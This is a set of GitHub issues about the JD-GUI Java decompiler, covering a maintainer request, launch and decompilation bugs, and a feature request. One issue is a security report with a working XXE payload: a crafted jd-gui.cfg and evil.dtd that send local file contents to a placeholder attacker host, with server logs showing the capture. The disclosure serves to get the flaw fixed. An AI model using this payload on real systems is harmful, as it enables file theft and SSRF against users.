Add me as a maintainer?
Hi @emmanue1, I would like to be added as a maintainer to JD-GUI so I could help the project grow and take some of the burden off of you. Please give me ability to merge commits.

Ways I can contribute:

Reviewing community proposed PRs.

Merging community proposed PRs.

Adding i18n support for internationalization.

Tagging releases.

My background

I have several open source projects which I have created (you can find them here).

I also contribute regularly to the Jenkins CI project (see my contributions of code, opening GitHub issues). I contribute to Jenkins infrastructure through updating the Jenkins wiki and releasing plugins as a plugin maintainer.

I am the maintainer of the GIMP project build system.

Does not launches on Windows 10

Hi,

I'm trying to use it on Windows 10 but it does not even launch. Nothing happens when you click on the shortcut or on the application directly.

Any other way to get it work?

JD GUI author disappeared without a trace.

I thought long enogh about it, if I should post this as issue. But now I deciuded, to do so.

The JD GUI author Emmanuel Dupuy seems to be disappeared without a trace.

Long time, there comes steadily updates on its JD-GUI main side. Later it moves over to https://plus.google.com/107508651694381167848 On mid 2015 he published JD-GUI here on github as OpenSource. And so his activity goes on here.

Every month he posted at minimum one commit: https://github.com/java-decompiler/jd-gui/commits/master But Sep 2, 2015 comes his last commit.

Beside committing, he also comment issues. The last two comments are on 6 Oct 2015 (https://github.com/java-decompiler/jd-gui/issues/86) and 26 Oct 2015 (https://github.com/java-decompiler/jd-gui/pull/88)

After that, all activity of the author ends abruptly.

Then there comes the xmas holiday in december 2015. Most projects have then its most active time. But JDs activity was zero.

Nearly five month after the last activity of the author in 2015, there is still silence.

So I decided to open the issue, that the author is disappeared without a trace. If he is still there, he can close this issue. Otherwise it stays open for all time.

improvement proposal: Real Line Numbers

jd-cli offers an option:

--displayLineNumbers, -n
       displays line numbers in decompiled classes
       Default: false

but instead of

Line: 32 /*   46 */   public class ...
Line: 33 /*   48 */     doSomething

Would it be possible to export code so it will be written on its real line number? This would be easier to compare.

Line: 46 public class ...
Line: 47
Line: 48    doSomething

[Security] - XXE leads to SSRF/File Disclosure
XXE leads to SSRF/File Disclosure

This is not a critical security issue in my opinion as it is quite a contrived scenario. Just observed the behaviour and wanted to have it out of my mind.

Due to the way the jd-gui.cfg file is parsed allows for SSRF or File Disclosure attacks due to processing of XML external entities. The main issues are:

When parsing jd-gui.cfg files it follows external entities

Current working dir is used on $nix based systems

Attack idea

Place a jd-gui.cfg file within the file locations of .jars to trigger the vulnerability.

Attack Setup

Follow the outlined steps within the same dir:

echo -n testcontent>test # file to be extracted

Create the following jd-gui.cfg file:

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///<path/to/current_working_dir>/test"> <!ENTITY % dtd SYSTEM "http://<attacker-host>:8000/evil.dtd"> %dtd; ]> <data>&send;</data>

Replace the value <attacker-host> with your attacking host. Also replace the <path/to/current_working_dir> with your CWD

Create the evil.dtd file:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://<attacker-host>:8000/?collect=%file;'>"> %all;

Replace the value <attacker-host> again to match your host machine

Start python Webserver python3 -m http.server

Last step, start jd-gui.jar e.g. java -jar ~/Downloads/jd-gui.jar 8.

Result:

esjay@machine jd-gui % python3 -m http.server Serving HTTP on :: port 8000 (http://[::]:8000/) ... <snip> "GET /evil.dtd HTTP/1.1" 200 - <snip> "GET /?collect=testcontent HTTP/1.1" 200 -

Some Notes:

It is only possible to extract file which don't include newlines.

Arbitrary GET requests can be made also.

Comma missing for comlex lambda expressions
When de compiling an function call with multiple lambdas as parameters, jd-gui seems to omit a comma after a complex lambda that requires curly braces ({}): Original: inflateSum(hm, x->{if (x.startsWith("He")) {if (x.startsWith("Hel")) throw new RuntimeException(); return 1.0;} return 0.5;}, y->y.startsWith("H"));

JD-gui:

inflateSum((Map)hashMap, paramString -> { if (paramString.startsWith("He")) { if (paramString.startsWith("Hel")) throw new RuntimeException(); return Double.valueOf(1.0D); } return Double.valueOf(0.5D); }paramString -> paramString.startsWith("H"));
